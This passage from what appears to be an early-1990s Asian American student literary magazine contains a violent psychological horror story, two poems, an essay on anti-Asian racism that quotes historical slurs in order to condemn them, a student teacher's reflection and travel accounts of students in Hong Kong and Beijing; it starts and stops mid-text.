games."** + +**"STOP! What are you doing?! I said NO!"** + +**"You know you want to, so stop pretending."** + +**"Paul, I'm serious. If you don't stop, I'm going to scream."** + +**"Go ahead. Who's gonna do anything? This is New York City -- ** +**people scream all the time."** + +**"How can you do this to me? I thought you liked me?"** + +**"That's exactly why I'm doing this...I like you a lot."** + +**"Paul, I'm only going to ask you this one more time. Stop it or else!"** + +**"Or else what?"** + +**"Or else...THIS!!"** + +There. I did it. I stabbed him in the throat with the steak knife I +used for that "wonderful" dinner he promised me. Not just once, but +over and over again. That should teach him. A girl always means no +when she says no. + +I can't believe what a jerk he turned out to be. After two months of +Philosophy class, you finally got me to come over to your place, you +bastard. An awesome cook, my ass! And this place, it's so clean that +you wouldn't even let me walk on your precious white carpet +without taking my shoes off first. You're so anal, Paul. Well, now +there are blood stains all over the carpet and walls. It's actually kind +of pretty, like an abstract painting. It's a pity that your shirt got +stained too, I like Perry Ellis. How do you feel? Was it good for you +too, Paul? Perhaps you would like me to pull up your pants for you +now? Or perhaps we can just snuggle together and smoke? What's +the matter, Paul? You didn't have much trouble talking and moving +around before. Are you trying to say something to me? Do you want +me to call an ambulance or something? I don't think so. + +Wait -- he moved, I saw it. Oh God! He's still alive. Don't get up, +Paul, or I'll kill you again! I'm not kidding. I've got to get away from +here. What if someone comes or what if some nosy neighbor starts +poking around? They'll blame me for his death. It's going to happen +all over again; they won't understand. Gotta get my stuff and catch +the . . . + +. . . train. There aren't many people on the subway tonight. +Weeknights are usually...what's that noise?! Who's there?! Oh...oh +Lord...I'm so tense; I can hear everything, from a rat scurrying away +to that bum's breathing -- boy, he stinks. There's nothing like a ride +on the subway. The roar drowning out reality, the rocking easing my +body. How can anyone not like it? What a crazy world! There goes +some jerk moving from car to car; and another one picking his nose. +Why's that old lady staring at me? Is she scared of me? Just what is +she staring at? My clothes, my hands, they're all bloody. What am I +going to do? I'll...I'll just pretend I have a bloody nose or something. +Get a tissue and -- the steak knife, I'm still holding the knife! I took +it with me --Êwhat was I thinking?! What have I done?! I've got to +get away, I've got to get . . . + +. . . home. Hmm...the shower felt really good. Funny how blood +comes off so easily with a little soap and water. Hope it comes out of +my new outfit, though. I'll see what's on the idiot box, then go to +sleep. Ross Perot's in another one of his stupid infomercials. +Another rich guy trying to pay back his debt to society...right. Hope +Bill Clinton wins. "Basic Instinct" is on HBO tonight. I'll have to +remember to catch it sometime. Wait! There's Paul on TV, what's +going on . . . . + +"Thank you, Jack. The breaking story in tonight's newscast is the +bizarre murder of Paul Brooks in his apartment here on East 10th +Street. He died apparently from multiple stab wounds to the neck +and chest. Neighbors say they saw him with a young female earlier +tonight. However, there are no suspects at...." + +I really killed him. Oh God! What did I do? But he deserved it, +bastard that he was. But why did it have to be me? Why do these +things have to happen to me? I can't think straight; so exhausted, so +tired. I should rest, sleep. + +"...Anyone with information regarding the murder of this man please +contact...." + ++ + + + + +Melissa.... + +What? Who's there? + +Melissa.... + +Who's there?!! + +Why are you shouting Melissa? I can read your thoughts. There's no +need for you to shout. + +Where are you? What do you want? + +I'm right here, Melissa. I'm part of you. I don't want anything. I +know everything there is to know about you. + +Liar! Stop it! + +Why, don't you know me, Melissa? I've always been a part of you. +It's just that you haven't been able to hear me before -- until now. +Go into the bathroom and see. + +Fine! Now, where are.... Oh my God!! What are you? +You're...you're...horrible. Dear God, please tell me this isn't +happening. + +Look at me closely, Melissa. Tell me what you see. + +You...you seem so familiar. Your eyes are so bloody red, so cold, so +hard -- like the marbles I used to play with. I can see my reflection +in them. It feels as if I'm drowning in its darkness. + +I saw what you did tonight. You didn't think anyone would see, did +you? Well, I saw it, Melissa. I see everything that you do. + +Stop looking at me like that! Get away from me! + +Why, Melissa. What an awful thing for you to say. After all the +things we've been through. + +Shut up! Just shut up! This isn't really happening. It's just a dream. +Any minute now I'll wake up. Just relax, Melissa, any minute now. + +So, how did it feel to kill a man, Melissa? Did it feel good? Right +now, Paul's having a popsicle in the morgue. How did it feel to put +your knife into his flesh? That steak was a lot tougher to cut than he +was, wasn't it? + +You're not real. + +Why are you acting like I don't exist? That really hurts. I'm part of +you. We're closer than any friends or lovers could ever be -- and I'll +with be with you until the very end. So tell me, what did it feel like? + +He deserved to die. He didn't stop when I told him to. I did what I +had to do. Guys like that shouldn't live. + +Oh...that's exactly what your father did, didn't he? He didn't stop +when you told him no, either. + +How do you know about that?! + +Melissa, how foolish of you. I was there. Remember that morning +when you were playing with your marbles near the top of the stairs? +And you pretended to forget to put them away? Didn't your father +always tell you to put away your marbles? Well, he sure was mad +when he fell down the stairs, wasn't he? He didn't even want to talk +to you...though, he couldn't say very much to you or anyone else +anyway. + +That was an accident! Why can't anyone understand that? It was an +accident! + +Sure it was. + +Oh God! It's coming back to me. I can see it all happening again. +Daddy's at the bottom of the stairs, laying lifeless on a bed of +marbles. Mommy's yelling at me, what did you do?! I'm sorry. +Forgive me, Mommy. Forgive me, Daddy. I didn't mean to hurt you, +but you hurt me. + +Damn you! Stop tormenting me! Go away, please, go away. I can't +bear it any longer. I will not go through it again. I will not be +tormented ever again. The steak knife.... + +Melissa, what are you doing? Do you realize what you are doing? + +Shut up! Leave me alone. Oh God.... + ++ + + + + +"What happened here, Bob?" + +"I'm not sure, Sarge. Poor girl, looks like she stabbed herself all over. +Did it with that steak knife. Look at her eyes! I've never seen such +eyes before. Blood red. I wonder what could've possibly run +through her mind for her to stab herself like that." + +"It's a sick and crazy world out here. Sometimes things like this +don't even shock me anymore. Okay, bring in forensics and let's get +Homicide on this one, just in case. And Bob, it's about noon -- Italian +or Chinese?" + +THE SHATTERED DREAM +------------------- +Saloni Movani + +Born in a land where struggle presides, +when life is a burden and sorrow fills young eyes. + +This place where man and beast are but one, + and none can distinguish, but the color of one's tongue. + + As poverty and crime pollute homes and streets, + terrors of abuse and neglect cripple young feet. + + When hunger and disease destroy all forms of life, + and a quest for food and shelter is a continuing strife. + + Where drugs and filth are found in school, + as the forces of terror and fear prevail in rule. + + In a world where peace and harmony are unknown, + and every young creature fights a war of his own. + + Even a mother's love no longer exists; + yet the curse of money no man can resist. + + And if this child will survive in this game; + Heaven is his savior as Misery his name. + +A FAREWELL TO DREAMS +-------------------- +Margaret Lam + +Those bare footprints upon the beach -- +Perfect toes pointing forever forward; +Pairs of feet burning their imprints +Upon a field of silken sand. + +The waves pounded in from the ocean +And lapped gently toward the shore. + +She danced nimbly in the icy waters +As they twirled about her legs +Only to swiftly retreat in playful taunt: +A game of tag inviting the grown-up child. + +The tide crashed upon the rock-like sentinels +And sprayed a fine mist of golden diamonds under the sun. + +She laughed and is once more a child -- +Braid flying and teeth flashing a gamin smile, +Sturdy legs tottering after seagulls +Offering the hot dog cupped in her hands. + +Giant breakers hurtled from the depths +And daintly approached in frothy lace. + +Five again in the heart of childhood -- +Building fairy-tale castles from pails of wet sand -- +Carefree and unhindered, +Her imagination shapes drawbridges and towers. + +The ocean thunders across the beach +And sweeps its mighty hand across her playground + +Yesteryear's footprints are smoothed away +As the castles of youth crumble into sand. + +FEATURES +======== +Marc Landas, **The Asian American** +An Asian American's view of the Los Angeles riots. + +M. Connie Yeung, **Anti-Asian Sentiments in the 90's** + +Katie Lin, **Beneath the Surface** +A student teacher tries to get though to her students. + +Greg Osborn, **Higher Education: Asian Stories** +Tales of students from Hong Kong, the Phillipines and China. + +THE ASIAN AMERICAN +------------------ +Marc Landas + +I'm sitting in the dark of my living room, tired from studying for +my up-coming finals. I rest my aching back on the soft cushions of +the sofa, searching for a comfort denied by the wooden seat I had +been sitting on all day, and gaze blankly at the television set. +Flashes of light shoot from the screen and dance chaotically on +every object in the room. + +On the screen, a city is burning, building upon building set aflame +by an angry and mistreated people. A white truck driver is pulled +from his vehicle and beaten to a lump of flesh: the image lingers +throughout the newscast. The commentators express a disgusted +shock, seeming to have forgotten the centuries of similar beatings +handed out by their ancestors. Although they say nothing verbally, +I can tell that for once they know how it feels to be a "minority" +in America: their glamourous faces shine with a nervous sweat, and +their eyes which usually stare so confidently out of the screen now +seem to be pleading with the viewer, searching for compassion. For +once, they feel helpless. The tables are turned. Los Angeles is +being destroyed and there is nothing anyone "in power" can do about +it except flee to the churches and pray for it to be over. For an +entire day, democracy and law lie beaten and bone-crushed like the +white truck driver. Anarchy stands triumphant, a Black fist that +frightens a nation to idiocy. + +Suddenly, a Korean man runs out of his store. He runs not in fear, +but in anger. Yelling something I can't make out, he lifts his +arms, in one hand the cold, black steel of a 9mm Gloc. Calmly, he +lets off a couple of shots, his arm jerking back from the kick of +every shot as empty shells spit from the side of the gun fall to the +ground. + +Finish. + +I'm sitting in shock. The scene plays and replays in my head in an +endless loop. The grocer running out, shooting. The grocer running +out, shooting. I have to smile. Nowhere to be seen are the rank +stereotypes I have always detested and which had even turned me +against my own. For once, the wise Oriental man wearing a hat and +slippers, the slanty-eyed gangster, the nerdy, astronomically +I.Q.'ed Asian scientist are gone, and an Asian man stands pointing +a gun at his tormentors. He stands a man, holding a gun and commanding +respect. True, some of the respect is for the gun, but the true +respect is for its user. In my mind, the spinelessly obedient Asian +man has been banished forever, replaced by a powerful Asian man. + +A violent Asian man. + +I stare at the screen for another few minutes, hoping to see +something -- anything -- of the Korean grocer. Nothing. The future +has come to me like a bullet to its target. It is a future which +looks shaky and uncertain, one with possibilities of harmony, but +only after an inevitable period of violence. What I see of the +future bothers me: I see the Asian American standing alone against +non-Whites on one side and Whites on the other. One side glowers +with animosity for the "condescending minority group", the other +demanding the return of their "stolen" jobs. When this time comes, +the obedient Asian need not show his face, for there will be no +place for him and his "peaceful nature. " There will be no place for +meekness, only action. + +Slowly, I rise from the sofa, stretching my arms to the ceiling, +hoping for my back to loosen up. But the muscles are tense like the +strings on a guitar. A miserable future and a miserable back. +Lethargically, I drag myself to the bathroom. Time to sleep. Sleep +will be the remedy of all my pains. + +I turn the faucet. Water gushes out violently, slamming itself into +the white metal of the bathroom sink like a miniature cataract. +Images. Feelings. The grocer running out. Calmly. Shooting. +Throbbing. Damn, my head hurts. I cup my hands to catch the +falling water before it can be lost down the dark swirl of the +drain. I splash my face. No throbbing. The cool water offers a +temporary solace from the incessant pounding of my mind. I reach +for the towel and rub it into my face, catching my own bloodshot +eyes in the mirror. Perhaps there is an alternative to the future I +have seen. The future demands change, change on our part. The +future demands a realization of who we really are as Asian Americans +and where we stand in this society dominated by Whites. In America, +all non-Whites are "minorities" before any nationality, non-White +before being African, Hispanic, Native American, or Asian. What we +are, is not White. Sadly, most Asians have forgotten this fact in +their attempts to assimilate into the White man's society, an +exclusive society we will never belong to and should not want to +belong to. Blinded by the decent position alloted to him in the +social strata, the Asian American has become a domesticated animal, +the freedom, self-reliance, and dignity of his past lost in the +mental stupor of the American Dream, thankful and ever so faithful +to the White hand that feeds it, the White foot that kicks it, ever +hoping to someday be like his gleaming master. We have adopted the +mental shackles other oppressed groups have ripped off. +Pathetically, the Asian American wears these manacles with a +senseless pride that I simply cannot understand. WAKE UP! I fling +the towel into some distant corner. It hits the wall and slides +crumpled to the floor. The future is still one of violence before +peace. History dictates this be so. It is inevitable. But we need +not stand alone. Strength comes with numbers. The condescending +attitudes must go. We must . . . + +The thought is interrupted by the steady throbbing of my brain. +Sleep. I inch my way to my room, one hand cradling my tormented +temple, the other comforting my aching back. I crawl beneath the +blankets, the pain within my skull unaffected by the cool softness +of my pillow. The future makes my head hurt. Asian Americans make +my head hurt. AmeriKKKa makes me sick. I curl up like a dog and go +to sleep. + + +ANTI-ASIAN SENTIMENTS IN THE 90'S +--------------------------------- +M. Connie Yeung + +* "The Chinks are all right if they remain in their place. I + don't mind them working in the laundry business, but they + should not go any higher than that. After all, there aren't + even enough jobs for us whites, without them butting in." + (Takaki, p.240) + +* "Japs Keep Moving -- This Is a White Man's Neighborhood" + (Takaki, p.240) + +* "It's because of you mother-fucking Japs we're out of work!" + (CAAAV Voice, p.2) + +* "Down with Chinks!" + (CAAAV Voice, p.2) + +Certainly not isolated remarks, the striking similarity of these +four statements both characterizes the attitude many Americans +towards Asians, and also highlights the lack of progress made +towards the acceptance of Asians in America: whereas the first two +statements were made in the 1920's, the third was expressed in the +last decade, precipitating the fatal beating of Asian- American +Vincent Chin, and the last was expressed three years ago on a flyer +circulated at the University of Santa Barbara, CA, three years ago. + +Beginning with the early arrival of Chinese immigrants in the +1800s, manifestations of anti-Asian sentiments took shape in the +form of racial slurs, physical harassment, economic and moral +deprivation. However, despite the growth of Asian-American +communities and the supposedly democratic melting pot idealogy +unique to American society, bias against Asians has not decreased. +On the contrary, a recent study by the U.S. Justice Department +reports a 62% increase in hate crimes against Asian-Americans over a +period of one year. (The Monitor, p.13) In an article in The Korea +Times, Charles Kim notes that physical violence against Asians in +America "has gone beyond just being on the rise," that in fact, over +the past five years, it has increased by at least 680%. In an era +of political correctness and an increasing awareness of diversity +and cultural identity, why has there been such a drastic increase in +racism against Asians? + +One of the major reasons cited as a cause of anti-Asian attitude is +threatened economic interests. In a period of economic turmoil for +the U.S. -- while Japanese imports appear voluminous and takeovers +by Japanese companies cover the front page -- Japan-bashing as a +defensive reaction seems inevitable. Nonetheless, Japan-bashing +should, not be tolerated not only because of the negative +consequences it brings to the Asian-American community at large, but +also because of its underlying assumption that Japan is the leading +cause of America's economic problems. The current economic slump is +largely of our own making, due to of a huge national deficit +accumulated through years of overspending by our federal government +and as a result of our low national savings rate -- the average +American saves only about 3% of his or her income. + +But the causes of Japan-bashing are not simply due to the general +public's ignorance of economic realities. The Japanese, and +subsequently, other Asian groups have become America's scapegoat not +merely as a result of their economic success, but also because of +their race. While Mitsubishi Estate's acquisition of Rockefeller +Center caused an uproar, the possession of the World Financial +Center by a Canadian company is largely unknown. Similarly, the +fact that the Dutch own as many American assets as the Japanese, and +that British investments are more than double Japanese holdings in +America have evoked little objection, or even attention (Garner, +p.4). + +While the Japanese have been helping to boost the American economy, +they have been construed, with large support by the media, as +hostile foreigners whose main goal is to take over the country. The +same was true in the 19th Century when jobs became scarce for +Chinese laborers after the completion of the railroad on the Pacific +Coast, and Chinese laborers were forced to compete with white +settlers. The influx of Europeans at the same time aggravated the +competitive atmosphere, transforming the Chinese, who had once been +welcomed when work was plentiful, into objects of racism who were +treated worse than the newly arrived Europeans. + +This unremitting hostility towards Asians is due first of all to our +obvious differences not only in physical appearance but also with +respect to our cultural backgrounds, both of which are not as easily +assimilable to Westernized, white American culture as those of +European immigrants. Obviously, it is easier to attack those that +stand out from the crowd than those that blend into it, and so +Asians are more vulnerable to animosity arising out of either a +sense of economic disparity or simply xenophobic tendencies. + +Second, the common stereotype of Asians as the "model minority" not +only pits them against white Americans but also against other +minority groups. The perception of Asians as diligent and +successful provokes other groups to question their own standing in +society, and the apparent differences in areas such as academics and +financial status ultimately create tension. + +Third, these stereotypes and the antagonism they provoke are +encouraged to a large extent by the media, which does nothing to +combat society's ignorance of the realities of Asian-American life. +Negative aspects, such as the population of Asian refugees living on +welfare and the numbers of Asians living in crowded slum areas like +Chinatown, are either downplayed or completely overlooked. The +media blackout on violent crimes against Asians has not been due to +a lack of front-page material, either. Consider the following +stories from New York City alone: + +* In March 1990, a Hong Kong immigrant was stabbed to death on a +crowded N train. The murderer yelled, "Hey, eggroll! What are you +looking at?", killed him, and then calmly stepped off the train at +the next stop. + +* In Bensonhurst, flyers were distributed warning that Koreans and +Chinese acting as drug dealers and drug lords planned to take over +the community by 1992. + +* An Asian man was beaten with bats and rocks by thirty African- +American and Latino youths calling him a "fucking Chinese." + +* The truck of an Indian family living in a predominantly white +neighborhood was blown up while parked in their driveway. + +In comparison to the Howard Beach and Bensonhurst cases, the +publicity given to these incidents of racism was miniscule at most. + +Even when cases involving Asians are mentioned, the media influences +public perception of Asians through the focus and timing of the +article. The 1991 rape and murder of Konerak Sinthasomphone by +Jeffrey Dahmer called the public's attention to bias against the +black and gay communities, while the 1989 shooting of Southeast +Asian children by Richard Patrick Purdy resulted in an outcry for +gun control. But not a word was spoken about racism against Asian- +Americans in either of these cases. At other times, incidents of +anti-Asian violence are covered only to fault other groups. As +Miriam Ching Louie reports in Asian Week, the media's focus on the +fight between blacks and Vietnamese, just when the verdicts for the +murder of Yusef Hawkins were about to be announced, was only to +divert the public's attention from Bensonhurst and show that blacks +are capable of racism too. In this regards, then, these media +actively contributes to the growth of "another American racism." +(Zia, Helen) + +Thus, anti-Asian racism is more than merely a reaction against a +perceived economic takeover by the Japanese, nor will it disappear +simply when America's economy recovers. Anti-Asian racism can be +overcome only if the myth of the model minority is abandoned as the +ultimately negative stereotype that it is, and the broad reality of +the Asian-American experience is fairly and responsibly explored and +reported. Racism and the hostility and violence caused by it will +continue to exist as long as we are perceived as foreigners in +competition for limited resources, rather than as the Americans that +we are, as equally and as unconditionally any other group in this +country. + +REFERENCES + +Garner, Al. +"Why are we picking on the Japanese?" +Pacific Citizen. March 18, 1992. + +Hashimoto, Ben. +"Stop the bashing on both sides, he says." +Pacific Citizen. March 28, 1992. + +Kim, Charles. +"Asians Increasingly Targeted in Mounting Waves of Ethnic Violence." +The Korea Times -- New York. August 3, 1991. + +Louie, Miriam Ching. +"New York Group Fights Growing Wave of Anti-Asian Violence." +Asian Week. July 6, 1990. + +Takaki, Ronald. +Strangers From a Different Shore. +New York: Penguin Books. + +Yamauchi, Deni. +"For Asian Americans, U.S. climate of 90's is more hostile." +The Monitor, Center for Democratic Renewal. May 1990. + +Zia, Helen. +"Another American Racism." +The New York Times. September 12, 1991. + + + +BENEATH THE SURFACE +------------------- +Katie Lin + +"I would like all of you to sit in a semi-circle, I have a surprise +for you." As I spoke to my tenth-grade English class they slowly +walked into the classroom and seated themselves. "We're going to do +a 'Donahue Show'." As I'd expected, this new idea stirred some +excitement in the class. Curiously discussing the idea among +themselves, they formed a semi-circle with unusual promptness. + +The "Donahue Show" came to mind when I was sitting in front of my +computer trying to think of a creative lesson plan for the next +day's class. I vowed to myself to come up with something +interesting, something special that would make the students excited +about Amy Tan's ~The Joy Luck Club~. I can still remember the +pressure I felt at that time since her book was the last I would be +using before my term as student teacher ended. After the +discouragement of my initial days of teaching, I needed some +reassurance that I was a capable teacher, that I hadn't chosen the +wrong profession. + +My experiences using other materials for class prior to Amy Tan's +book were not successful. I remember panicking over what materials +to choose when looking at a class that consisted of mostly +Hispanics, some Afro-Americans, one Asian, and a few others whose +nationalities I wasn't certain of. My cooperating teacher, a +certified teacher who worked with me on my lesson plans and observed +me while I taught, suggested I teach a grammar lesson for my first +class, and in my confusion, I took her advice. Though the class +seemed successful in that the students behaved well and seemed to be +learning something, I had a feeling that they were bored. +Furthermore, I didn't like spending a whole class period on grammar. +So I decided no more grammar lessons and chose to do short stories. + +From then on we spent nearly half of the semester on short stories +such as "The Birds," "The Most Dangerous Game," and "The Lady and +The Tiger." The first few weeks were terrible. Attendence worsened +as the days went by. Class discussions were dry and unproductive. +Most of the students either didn't want to do their homework or +would hand it in weeks late. I would threaten them with zeros if +they didn't do their work, but that only made the atmosphere of the +classroom more unpleasant. + +"What went wrong?" I asked myself whenever I had a bad day in +school. At first I blamed myself for the uncreative lesson plan. +Then I blamed the students for not being motivated. I blamed my +cooperating teacher for discouraging me from using more progressive +methods such as group work. I even blamed NYU for feeding me so +much of the newest teaching theories without preparing me for +dealing with the students and teachers who were firmly entrenched in +old habits and approaches. + +Desperate, I tried to make my lesson plans more fun and creative. +Without telling my cooperating teacher my plan, I asked the students +to write stories in groups. Althought most used the time to +socialize, a few worked on their own to create wonderful stories. +Class dicussions became livelier and my relationship with the +students improved. + +But this was not good enough. I still felt that everyone had to try +too hard. I had to try very hard to enjoy teaching, and the +students had to try very hard to stay interested. After some soul +searching and meeting with my classmates at NYU, I decided that the +main problem was the curriculum. Did the students find "The Most +Dangerous Game" intriguing? Could they relate to the horror of "The +Birds?" Did they find the treatment of love in "The Lady and The +Tiger" meaningful to their lives? And did I as a a teacher care for +these subjects? Did I show enthusiam when I taught? Sadly, I had +to answer "no" to these questions. + +~The Joy Luck Club~ was my last hope in my quest for meaningful, +interesting material. When the bookroom teacher informed me of the +arrival of the books I was overjoyed, but yet also worried. Would +the students be interested in learning about a culture that they had +almost no knowledge of? Would exposure to the suffering in Chinese +society have a negative effect on how they'd view Chinese people and +culture? Would they understand the family values that were deeply +rooted in each character? Most of all, would they label me as the +Chinese-American teacher who liked to teach from Chinese books? + +With these questions, I began the first chapter while comforting +myself that nothing could be worse than it already was. To my +surprise, a controversial issue came up in the very first story. +The mother in the story had to abandon her baby girl when running +for her life during the Sino-Japanese War in the 1930's. Some +students reacted quite emotionally to the abandonment. Some +sympathized with the mother and agreed that she had to do so in +order for both of them to survive. One student said that the mother +should not be blamed since even today, during times of peace, some +parents still have give up their children. Another student bitterly +described his own abandonment when his parents divorced and he was +left with his grandmother. After this, a few other students spoke +of similiar instances, some of which I suspected were from their own +personal experiences. + +By the end of ~The Joy Luck Club~, I was so surprised and moved by +this outpouring of emotion that the idea of the "Donahue Show" came +to mind. I saw a need for them to get into the characters more, to +find their common grounds, perhaps, even to find a voice within +them. I asked a few students to be guests for the show by taking on +the role of some of the characters from the book. As the host of the +show, I introduced the students by the name of the characters they +were portraying and asked them to tell their stories based on their +understanding of that character. Almost all the students were able +to adopt the personality of their respective character and answer +the questions raised by the audience comprised of the rest of the +class. The discussion often got heated when we came upon a +controversial issue. One special moment occurred when we were +discussing the "shou" (a Chinese term for honor and respect for +parents, in-laws, and elders) in the Chinese family. Some felt that +shou was blindly given by the daughter to her mother-in-law in +~The Joy Luck Club~. I responded by explaining to them that at that +time, people were expected to have shou for older family members +unconditionally. Most of the students understood my point. +However, when relating this issue to their own lives, some shared +that they did not feel that their parents had earned their respect. +I saw a great deal of anger, resentment, bitterness as the students +shared more of their personal stories. The characters' experiences +seemed to provoke many hidden feelings, feelings that were strong +and that had been buried for some time. + +From the very first day I'd come to class, I noticed and was shocked +by the students' backgrounds. Most of them were from broken +families. If they were fortunate, they had at least one parent. +Very few lived with both of their parents. That day, for the first +time in my life, I wished I had suffered like they had so that I +could tell them that I understood. But I couldn't. + +I didn't plan to use the class as a therapy session. Traditionally, +as I remembered, teachers didn't like dealing with their students' +personal lives. Though I didn't understand why, I felt the need to +get involved. I could not heal their pain or solve their problems, +but I wanted at least to be able to see the person behind the face, +to recognize and understand their suffering. I could no longer +simply blame the students for not being motivated. + +I still don't know what to do as a teacher when the reality of my +students' lives surfaces. I didn't know how to respond when one of +my students came up to me with court papers, after a two-week +absence, explaining that she had testified against her mother's +boyfriend for raping her. By the time I realized that it was a rape +victim standing before me, she had already gone back to her seat. +What is my job, my duty, as a teacher? I don't quite know yet. +However, I do know that there is a person behind every face, and I +as a teacher, have to see that person. + + +HIGHER EDUCATION: ASIAN STORIES +------------------------------- +Greg Osborn + +Residence hall prank fire alarms at 2:05 in the middle of the night +. . . Food fights in the cafeteria . . . Typing the term paper at +four in the morning while on the twelfth can of 'Jolt' . . . + +Ah, the plight of the typical American university student! It's as +if our entire world rotates around each semester's events and +particular requirements. It certainly seemed that way to me anyway, +at least until I spent three years living and working in Hong Kong. +In August of 1988, I boldly journeyed where no member of my family +had gone before and took a position teaching at Hong Kong Baptist +College in their business and education departments. My second year +there, I also worked as a Student Affairs Officer, teaching English +conversation both years in my spare time to Chinese students eager +to improve their grasp of the "international language." My third +year found me working in Hong Kong's international garment industry, +a job which brought me into contact with customers from all over the +world. + +While working in Hong Kong, I had the opportunity to visit many +other Asian nations. In my travels, I often visited foreign +universities and met many students. The contrast between what I +experienced here in the States and what I witnessed in many of these +places is truly sobering. + +**HIGHER EDUCATION IN HONG KONG** + +One of the most striking contrasts, generally speaking, is the +difference between how Asian students look at education, especially +higher education, compared with how American students look at it. +In Hong Kong, only about 3-4% of those young people who have +recently graduated from secondary school (or "high school" for us) +have the opportunity to attend a university. This percentage might +now be slightly higher now with the recent opening of the Hong Kong +University of Science and Technology. Only another 9% are able to +attend polytechnic and trade schools. This is in sharp contrast to +the United States, where nearly a fifth of its youth attend colleges +and universities, with still more enrolled in trade and specialty +schools or attending as part-time or evening students. What's more, +these percentages could be higher if America's youth was more +inclined to take advantage of these great opportunities. There are +hundreds of thousands of colleges available in the United States, +many with entrance requirements that are relatively low, but a large +number of these are not functioning at full capacity. In contrast, +there are so few colleges and universities in Hong Kong that the +other 87-88% of Hong Kong's youth can never attend simply because +there is not enough space to accomodate them. + +This situation is very similar to those of the other Asian countries +I visited as well, and because of the difficulty of getting into any +institution of higher education, by far the majority of the students +I met took their studies very seriously. The spirit of the students +is remarkable. Just pondering the things they go through on a +regular basis leaves me mentally drained. Many of their lives +touched my heart, and I'd like to share a few stories about some +young people I met whose experiences and personalities changed the +way I looked at higher education, the United States, and my life. + +**EMILY DE LA CRUZ, FROM THE PHILIPPINES** + +Emily de la Cruz is a young Filipino woman who is currently working +as an amah -- or domestic helper -- in Hong Kong. Of the six million +people living in Hong Kong, nearly 60,000 of them are Filipinos, +making this ethnic group the largest non-Chinese population group in +the colony. (Americans comprise the second largest group, with +about 35,000 living and working around the isles.) Probably 90% of +these Filipinos are women who work as domestic helpers. A small +percentage of the Filipino men who are there, and an even smaller +number of Filipino women, work in the entertainment industry as +singers, musicians, dancers, and other professions. These are +considered as the "Elite Filipinos" because they enjoy the prestige +and financial reward that come with their positions. Still others +work in prostitution, which is rampant in many parts of Asia. + +Working and living conditions for most Filipinos in Hong Kong are +extremely poor. The average Filipino worker makes approximately +HK$3200 (about US$400) per month, most of which is sent back to the +Philippines to support the family. Many Filipino workers have +children at home, often infants. They are allowed to return home +only once every two years, usually for about two to three weeks at +most. + +Most domestic workers live in the home of their employer, but their +living quarters are generally about the size of an average American +bathroom, if they're lucky. The room is usually too small for a +window or a regular-sized bed, has limited storage space, and no +air-conditioning. The last is especially significant in Hong Kong, +where the humidity level is above 80% for nine to ten months out of +the year, and well over that figure, with correspondingly high +temperatures, in the summer. In Hong Kong, you can literally turn +wet from sweat just walking down the street. + +In most cases, amahs are treated as second- or even third-class +citizens, literally as modern-day slaves. As well as cooking and +cleaning, they care for all the children. They do all the household +shopping, run errands, wash and do laundry -- sometimes by hand -- as +well as iron. Those even more unfortunate do this as well as work +in their employer's factories, and some are even sexually abused. + +But these women generally do not or cannot complain for two reasons. +First, it usually doesn't do them any good as it is extremely +difficult to win such a case in the Hong Kong labour tribunals and +courts. Second, it is a loss of "face" for someone to either fail +or have problems on the job. To be fired or to quit before +finishing their contract is a disgrace to the family they are trying +to support financially, and no one at home really tries to +understand their situation. Thus, the large majority of them choose +to suffer silently and survive the best they can until their +contracts end and they can move on to another position. + +One of the saddest parts of this story is that most of the Filipinos +who come to Hong Kong are educated. Emily, for example, studied +engineering at the University of Manila, the most prestigious +university in the Philippines. Finding her savings running low and +limited financial aid opportunities in her country, she decided to +come to Hong Kong and work as a domestic helper for a short time to +save enough money to complete her final year of study. However, for +various reasons, after more than three years, she is still in Hong +Kong working as an amah, and has sadly even lost her initial +ambition of going back and completing her degree. Unfortunately, +her case, and her broken dream, is all too common. + +**ZHAO PANG ZHANG, IN BEIJING, P.R.C.** + +Pang was a graduate student at the University of Beijing, the most +prestigious university in the country. (It is important to note +that the university has lost some of its preeminence since the +Tiananmen Square crackdown due to their mandatory requirements of +military training for all new students.) The university accepts +only about 100 graduate students each academic year in all fields +for all of China. In a country that has over one billion +inhabitants, acceptance into this school is an honor highly coveted +and almost impossible, and only the most talented, the hardest +working, and the best connected can get in. When I met him in April +of 1990, Pang was a Ph.D. student studying law, and he dreamed of +someday being involved in history-making events. + +But despite being at the "Harvard" of China, Pang lived an extremely +humble existence in the men's dormitory. His hall was, at best, +disgusting. I have worked in college dorms for many years and seen +numerous others, but I have never seen one so lacking in modern +conveniences and so run down in basic facilities as Pang's dorm at +China's "premier" university. The entrance of the building greeted +one with overgrown bushes and a generous scattering of lunch boxes, +cups, and newspapers. Inside, the hallways were cluttered with old, +rusting bicycles, the occasional trash bins were all overflowing, +and the windows were often either partially broken or boarded over +completely. On his floor, the combined kitchen and community +bathroom were both filthy and foul smelling, obviously cleaned very +infrequently. His room had a cold cement floor and walls that were +dirty and peeling. He slept in an old metal bunk bed on a worn-out +mattress. He made the best of it, however, and was pleased to have +the opportunity to be there. + +In other ways, too, the University of Beijing reminded me of a river +whose surface calm belied the strong and turbulent currents below. +The university campus had a quiet peacefulness to it and seemed in +fact to consist of a series of water scenes. I particularly +remember the islands which had traditional Chinese pagodas +tastefully speckling their landscapes. €There were always lots of +people meandering around, riding or walking their bicycles or +strolling with their hands clasped behind their backs, and their +faces generally appeared open and cordial. There were more than +just students on the campus. Elderly men played card games on park +benches near the water, and fathers bought treats off vending carts +for their children who were jumping rope in the streets. The campus +buildings were functional in design, not very fancy but sufficient. +Construction took place at various points throughout the campus, but +it appeared to me that many other buildings in need of general +maintenance were being ignored. + +But beneath this apparent tranquil beauty are students who, if they +dare open up to you, will reveal that they feel extremely bitter, +hopeless, and lost inside. After all, this is the university that +inspired those protesting "hooligans," and where, in June of 1989, +thousands of pro-democracy demonstrators were suppressed by the +People's Liberation Army, a military "for the people." These people +are now very careful with what they say and whom they associate with +these days. No one really trusts anyone else, since everyone is +potentially a government informant. The place we stayed at on +campus was quite possibly bugged, and the students often turned on +the radio to drown out their voices when they did open up. These +students, including Pang, know what really happened and what is +truly going on within the government, but they are powerless to do +anything about it. + +The majority of China's one billion inhabitants, however, have no +way of learning the "truth" other than the information that is +controlled by the Party. They believe what little they hear because +it is from the government and because, isolated from all other forms +of communication, they have no reason not to believe. Particularly +in northern and internal China, most people have limited or no +access to the outside world, and rarely if ever do they get to know +foreigners well enough to hear differently from the party's official +version of the world. The communists learned a long time ago that +if you control the media, then you control the people, and those +presently in power are determined to hold onto one of the last +bastions of communism. These and other social and economic +injustices drive many students to schools in the United States and +other countries freer than their own. + +Pang served as our tour guide for many of the 